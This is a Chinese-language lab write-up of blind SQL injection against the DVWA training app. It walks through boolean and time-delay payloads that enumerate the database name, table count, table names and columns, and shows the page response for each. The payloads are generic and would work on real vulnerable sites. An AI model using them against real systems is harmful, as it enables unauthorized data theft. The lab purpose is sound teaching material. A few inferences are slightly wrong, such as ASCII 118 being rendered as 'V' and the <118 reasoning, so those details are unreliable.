一、实验原理
基于布尔盲注就是进行SQL注入时根据页面返回的True或者是False来得到数据库中的相关信息,因此可以通过是否返回页面来判断做为条件是的SQL语句的正确性,从而实现盲注的目的。
二、实验前置准备
登录靶场:使用默认账号admin、密码password登录DVWA。
切换安全等级:登录后,点击顶部导航栏的"DVWA Security",在"Security Level"下拉菜单中选择"Low",点击"Submit"保存设置。登录DVWA后,在左侧点击"SQL Injection(Blind)",进入实验页面。
2.了解SQL盲注与普通SQL注入的主要区别:
页面不会直接显示数据库错误信息,不会直接显示查询结果,只能通过页面返回的真/假状态或响应时间差异来推断信息
三、实验步骤及结果
步骤一、判断是否存在注入,注入是字符型还是数字型。
输入1,保存截图并分析结果。

分析 :输入 1 时,页面返回 User ID exists in the database.,说明 ID=1 的记录存在,这是正常的业务响应。
但再输入单引号、双引号或者abcd之类的其它值,保存截图并分析结果。
分析 : 
输入 1'(单引号)时,页面返回 User ID is MISSING from the database.,与正常结果不同,说明:
- 单引号破坏了原 SQL 语句的语法结构,导致查询逻辑异常
- 输入的内容被直接拼接进 SQL 语句,存在 SQL 注入漏洞
继续输入1' and 1=1 #,保存截图并分析结果。
分析 :#注释掉了后续SQL,and 1=1恒真,若页面正常,说明单引号闭合了字符串,且and逻辑被执行,强烈提示存在字符型SQL 注入漏洞。

最后输入1' and 1=2 #,保存截图并分析结果。
分析 :and 1=2恒假,若页面返回空或无数据,与1=1时形成"真/假"状态差异,最终确认存在基于布尔逻辑的字符型SQL注入漏洞。

步骤二、猜解当前数据库名。
想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。
1.猜解数据库名的长度
输入1' and length(database())=1/2/3/4....# ,保存截图并分析结果。


预期结果:当N等于数据库名实际长度(例如4)时,页面显示正常(True);当N为其他值时,页面无结果(False)。
分析:通过遍历N的值,找到使页面返回"真"状态的N,即确定了数据库名的字符长度。
2.采用二分法猜解数据库名
首先猜解首字母,再依次猜解其它字母。猜解时最好要先判断字母是大写字母、小写字母、数字或下划线,然后再逐渐进行猜解。几个典型的字符的ASCII码如下表:
|--------|-----------------|--------|-----------------|
| 字符 | ASCII 码 | 字符 | ASCII 码 |
| A | 65 | Z | 90 |
| a | 97 | z | 122 |
| 0 | 48 | 9 | 57 |
| _ | 95 | | |
- 输入1' and ascii(substr(database(),1,1))>97 # ,保存截图并分析结果;

SQL 语句逻辑分析:
- substr(database(),1,1):取出数据库名的第 1 个字符
- ascii(...):将该字符转换为 ASCII 码
- >97:判断该 ASCII 码是否大于 97(小写字母a的 ASCII 码)
页面反馈:显示 User ID exists in the database.(页面正常返回)
结论分析:
数据库名第 1 个字符的 ASCII 码 >97 ,说明该字符是小写字母( b~z )、数字或下划线(但数字 / 下划线 ASCII 码均小于 97,因此可确定为小写字母)
- 再输入1' and ascii(substr(database(),1,1))<122 # ,保存截图并分析结果。

SQL 语句逻辑:
<122:判断该字符的 ASCII 码是否小于 122(小写字母z的 ASCII 码)
页面反馈:显示 User ID exists in the database.(页面正常返回)
结论分析:
数据库名第 1 个字符的 ASCII 码 <122 ,说明该字符是小写字母( a~y )。
(3)此时,可采用二分进行法查找,即根据显示情况,依次输入:
1' and ascii(substr(database(),1,1))<110 #

逐次测试分析
测试 <110
-
- 页面反馈:User ID exists in the database.
- 结论分析:第 1 位字符的 ASCII 码 < 110(即小于小写字母n)
1' and ascii(substr(database(),1,1))<103 #

测试 <103
- 页面反馈:User ID exists in the database.
- 结论:第 1 位字符的 ASCII 码 < 103(即小于小写字母g)
1' and ascii(substr(database(),1,1))<100 #
测试 <100
- 页面反馈:User ID is MISSING from the database.
- 结论:第 1 位字符的 ASCII 码 ≥ 100(即大于等于小写字母d)
分别保存截图并分析结果。
(4)修改substr(databse(),1,1)的值,依次改为:
1' and ascii(substr(database(),2,1))<122 #
分别保存截图并分析结果
**页面反馈:**User ID exists in the database.
**结论分析:**第 2 位字符的 ASCII 码 <122,说明该字符是小写字母(a~y)、数字或下划线。

1' and ascii(substr(database(),3,1))<122 #
页面反馈:User ID exists in the database.
结论分析 :第 3 位字符的 ASCII 码 <122,说明该字符是小写字母( a~y )、数字或下划线。

1' and ascii(substr(database(),4,1))<122 #
页面反馈:User ID exists in the database.
结论分析 :第 4 位字符的 ASCII 码 <122,说明该字符是小写字母( a~y )、数字或下划线。

步骤三、猜解数据库中的表名。
1.首先猜解数据库中表的数量:
输入:
1' and (select count(table_name) from information_schema.tables where table_schema=database() )=1 #

保存截图并分析结果。
页面反馈:User ID is MISSING from the database.
结论分析 :当前数据库中的表数量 ≠ 1。
输入:
1'and ( select count(table_name) from information_schema.tables where table_schema=database() )=2 #

保存截图并分析结果。
页面反馈:User ID exists in the database.
结论分析 :当前数据库中的表数量 = 2。
2.依次猜解表名的长度
输入:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #

分析: limit 0,1:只取出查询结果中的第一张表
length(...):计算该表名的长度
页面返回不同结果,判断长度是否等于我们输入的数字:
- User ID exists in the database. → 条件成立(长度 = N)
- User ID is MISSING from the database. → 条件不成立(长度 ≠ N)
逐次测试分析
测试长度 = 1
-
- 页面反馈:User ID is MISSING from the database.
- 结论分析:第一张表名长度 ≠ 1
提交查看,并依次将最后的数字1修改为2/3/4......

测试长度 = 2
- 页面反馈:User ID is MISSING from the database.
- 结论分析:第一张表名长度 ≠ 2

.. (依次测试到 9 )
测试长度 = 9
- 页面反馈:User ID exists in the database.
- 结论分析 :第一张表名长度 = 9
分别保存截图并分析结果。
3.根据长度猜解表名
输入:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

逐次测试分析
测试 >97
-
- 页面反馈:User ID exists in the database.
- 结论:第 1 位字符的 ASCII 码 >97(即大于小写字母a)
提交查看,并依次将最后的">97"修改为"<122"、"<109"、"<103"......

测试 <122
- 页面反馈:User ID exists in the database.
- 结论:第 1 位字符的 ASCII 码 <122(即小于小写字母z)

测试 <109
- 页面反馈:User ID exists in the database.
- 结论:第 1 位字符的 ASCII 码 <109(即小于小写字母m)

测试 <103
- 页面反馈:User ID is MISSING from the database.
- 结论:第 1 位字符的 ASCII 码 ≥103(即大于等于小写字母g)
分别保存截图并分析结果。
步骤四、猜解表中的字段名。
1.猜解表中字段的数量:
输入:
1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa')=1 #

逐次测试分析
测试 N = 1
页面反馈:User ID is MISSING from the database.
结论:users表字段数 ≠ 1
提交查看,并依次将最后的数字1修改为2/3/4......

测试 N = 2
页面反馈:User ID is MISSING from the database.
结论:users表字段数 ≠ 2

.. (依次测试到 8 )
测试 N = 8
- 页面反馈:User ID exists in the database.
- 结论:users表字段数 = 8
2.猜解表中字段的长度
输入:
1' and length(substr((select column_name from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1),1))=1 #
原理分析:
limit 0,1:只取出查询结果中的第一个字段
length(...):计算该字段名的长度
页面返回 User ID exists in the database. → 条件成立(长度 = N)
页面返回 User ID is MISSING from the database. → 条件不成立(长度 ≠ N)

逐次测试分析
测试长度 = 1
-
- 页面反馈:User ID is MISSING from the database.
- 结论分析:第一个字段名长度 ≠ 1
提交查看,并依次将最后的数字1修改为2/3/4......

测试长度 = 2
- 页面反馈:User ID is MISSING from the database.
- 结论分析:第一个字段名长度 ≠ 2

... (依次测试到 7 )
测试长度 = 7
- 页面反馈:User ID exists in the database.
- 结论分析:第一个字段名长度 = 7
保存截图并分析结果。
3.采用二分法猜解出所有字段名
输入:
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1),1,1))>97 #

逐次测试分析
- 测试 >97
- 页面反馈:User ID exists in the database.
- 结论分析:第 1 位字符的 ASCII 码 >97(即大于小写字母a)
提交查看,并依次将最后的">97"修改为"<122"、"<110"......

测试 <122
- 页面反馈:User ID exists in the database.
- 结论分析:第 1 位字符的 ASCII 码 <122(即小于小写字母z)

测试 <110
- 页面反馈:User ID is MISSING from the database.
- 结论分析:第 1 位字符的 ASCII 码 ≥110(即大于等于小写字母n)
分别保存截图并分析结果。
步骤五、通过延时注入猜解当前数据库名。
1.猜解数据名的长度
1' and if(length(database())=1,sleep(5),1) #
原理分析:
若 length(database())=N 成立 → 执行 sleep(5),页面延迟 5 秒后响应
若不成立 → 执行 1,页面立即响应(显示 User ID exists in the database.)

逐次测试分析
- 测试 N=1
- 页面响应:无延迟,直接显示 User ID exists in the database.
- 结论:数据库名长度 ≠ 1
1' and if(length(database())=2,sleep(5),1) #

测试 N=2
- 页面响应:无延迟,直接显示 User ID exists in the database.
- 结论:数据库名长度 ≠ 2
1' and if(length(database())=3,sleep(5),1) #
测试 N=3
- 页面响应:无延迟,直接显示 User ID exists in the database.
- 结论:数据库名长度 ≠ 3
1' and if(length(database())=4,sleep(5),1) #

测试 N=4
- 页面响应:出现 5 秒延迟后才显示内容
- 结论:数据库名长度 = 4
查看是否有延迟。
✅ 综合结论
- 当前数据库名长度为 4 个字符(DVWA 默认数据库名 dvwa 长度恰好为 4,与结果吻合)。
- 这是典型的时间盲注:通过页面响应延迟,间接判断查询条件的真假,从而获取数据库结构信息。
2. 用二分法猜测数据库名(查看是否有延迟。依次类推直到获取数据库名称)
核心原理
延时注入通过 sleep(5) 判断条件真假:
sql
1' and if(条件, sleep(5), 1)#
- 有明显延迟 → 条件成立
- 无延迟 → 条件不成立
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) # 明显延迟
...

逐次测试分析
- 测试 >97
- 页面响应:明显延迟
- 结论:第 1 位字符 ASCII 码 >97(即大于小写字母a)
最终锁定 ASCII=100 → 字符 d
1' and if(ascii(substr(database(),1,1))<100,sleep(5),1) # 没有延迟

测试 <100
- 页面响应:无延迟
- 结论:第 1 位字符 ASCII 码 ≥100(即大于等于小写字母d)
1' and if(ascii(substr(database(),1,1))>100,sleep(5),1) # 没有延迟

测试 >100
- 页面响应:无延迟
- 结论:第 1 位字符 ASCII 码 ≤100(即小于等于小写字母d)
猜解第 2 位字符
修改 substr 第二个参数为 2:
1' and if(ascii(substr(database(),2,1))>97,sleep(5),1)# -- 测试是否>97

重复二分法:
若 >118 无延迟 → 说明 ≤118
若 <118 有延迟 → 说明 <118
最终锁定 ASCII=118 → 字符 V
猜解第 3 位字符
- 修改 substr 第二个参数为 3:
1' and if(ascii(substr(database(),3,1))>97,sleep(5),1)#

- 二分法后锁定 ASCII=119 → 字符 w
猜解第 4 位字符
- 修改 substr 第二个参数为 4:
1' and if(ascii(substr(database(),4,1))>97,sleep(5),1)#

- 二分法后锁定 ASCII=97 → 字符 a
🔹 第三步:拼接结果
将 4 位字符拼接:d + v + w + a → dvwa ,得到完整数据库名。